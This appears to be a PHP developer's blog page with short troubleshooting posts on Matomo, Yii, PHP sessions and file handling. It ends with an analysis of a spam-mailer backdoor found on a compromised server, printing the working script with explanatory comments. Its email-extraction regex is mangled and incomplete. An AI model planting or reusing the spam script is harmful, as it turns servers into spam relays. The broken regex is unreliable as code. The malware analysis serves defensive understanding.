Brutal fix for “Incorrect string value:” error in Matomo (Piwik)

If you’re using Matomo (previously Piwik) on MS IIS and MariaDB  and you’re getting a lot of these:

[06-Jun-2018 11:56:36 UTC] Error in Matomo (tracker): Error query: SQLSTATE[22007]: Invalid datetime format: 1366 Incorrect string value: '\xC3_\xC6\x92\xC3\x82...' for column 'name' at row 1 In query: INSERT INTO matomo_log_action (name, hash, type, url_prefix) VALUES (?,CRC32(?),?,?) Parameters: array (   0 => 'Ă_ƒÂ¢',   1 => 'Ă_ƒÂ¢',   2 => 1,   3 => 1, )

You can use my fix (because literally nothing that can be found in the internet is helpful in this case).

Continue reading Brutal fix for “Incorrect string value:” error in Matomo (Piwik)

E-mail extraction from an Outlook copied string

Sometimes you need to extract an e-mail address from a format like this:

Name Surname <namesu[email protected]>

In such cases use this function:

 * Extract mail address from a string
 * @param string $emailString
 * @return mixed match on success, false on error
function extractEmail( $emailString ) {
    /** @var string $result **/
    $result = preg_match( '/^(?:[\w.\- ]+<)?([\w._-][email protected][\da-z\.-]+\.[a-z\.]{2,6})>?$/iu', $emailString, $matches );
    if( $result === 1 || $result !== false ) {
        return $matches[1];
    } else {
        return false;

Link to test regular expression used by me is here.

Differences between character counting in PHP and Javascript

I’ve recently codded my own validation rules for forms. I’m checking length of a string on a client side and also on a server side (obviously it’s a good practice). After my script went on a production, users started to complain about validation errors (even if data in a form was passed proper). This is really strange but…
Continue reading Differences between character counting in PHP and Javascript

PHP reading problem with files larger than 2 GB

If you’ll ever have problem with opening (fopen) and reading (fread) files larger than 2 GB in your PHP script. Check your version of scripting engine. In my case switching to 64 bit solved the problem. Please mind that this error is very hard to debug because PHP does not log anything (same as MS IIS) in such case. It simply resets client connection…

Permission denied when script is trying to execute ps_files_cleanup_dir

This is pretty common problem. I’ve encountered it on recent version of the Debian operating system. When you see something like that:

Notice:  session_start(): ps_files_cleanup_dir: opendir(/var/lib/php5/sessions) failed: Permission denied (13) in /mnt/www-data/htdocs/raportMNW/inc/bryanjhv/slim-session/src/Slim/Middleware/Session.php on line 110

You can fix that easily with following Linux commands:

sudo nano /etc/php5/apache2/php.ini

Now use CTRL+W to find following string session.save_path and configure it like that:

session.save_path = "/tmp"

Save your file using CTRL+X and restart Apache2 service:

sudo service apache2 restart

And voilà!

Force Yii to republish assets every page refresh

During webapp development you’ll need often assets republication. When you publish assets using directory path, framework won’t republish them automaticaly. So what can you do? It’s plain simple. Use YII_DEBUG constant as fourth argument in publish function.

$assetPath = Yii::app()-&gt;assetManager-&gt;publish(Yii::getPathOfAlias('application.modules.components.assets'), false, 1, YII_DEBUG);

From this moment Yii will republish assets on every page refresh only in debug mode (it won’t consume your resources in production mode).

PHP malicious code analysis no. 1

I found this piece of a PHP malware code on a compromised web server that I started to administer. It’s name was random character string eg. acbjxuu.php. There were about 20 more scripts of this kind. It’s rather very simple script for spaming purposes. For your understanding I’ve wrote what it’s doing in comments between code lines.

if (isset($_POST['task']))
	// be sure to display all PHP errors
	ini_set('display_errors', TRUE);
	// disable default PHP memory limit
	ini_set('memory_limit', '512M');
	// disable PHP execution time limit
	// get serialized array from POST var named task
	// example array structure: array(array('to'=&gt;'[email protected]', 'msg'=&gt;'message content', 'subj'=&gt;'Message subject ex. cheap cialis :)'));
	$x = unserialize(base64_decode($_POST['task']));
	// if task variable was wrongly serialized, just die silently...
	if ($x==false) {exit();}
	$send_from = base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
	// now send half a million of viagra &amp; cialis related mails... 
	foreach ($x as $arr)
		echo $arr['to']."\r\n";
		$arr['msg'] = str_replace('[send_from_url]',$send_from,$arr['msg']);
		mail($arr['to'],$arr['subj'],$arr['msg'],"MIME-Version: 1.0\r\nContent-type: text/html; charset=windows-1251\r\n");
	exit('SEND OK');

I’ll look in logs for IP addresses that tried to reach for this scripts. Maybe I’ll find something interesting. Wish me good luck and monitor your webserver contents!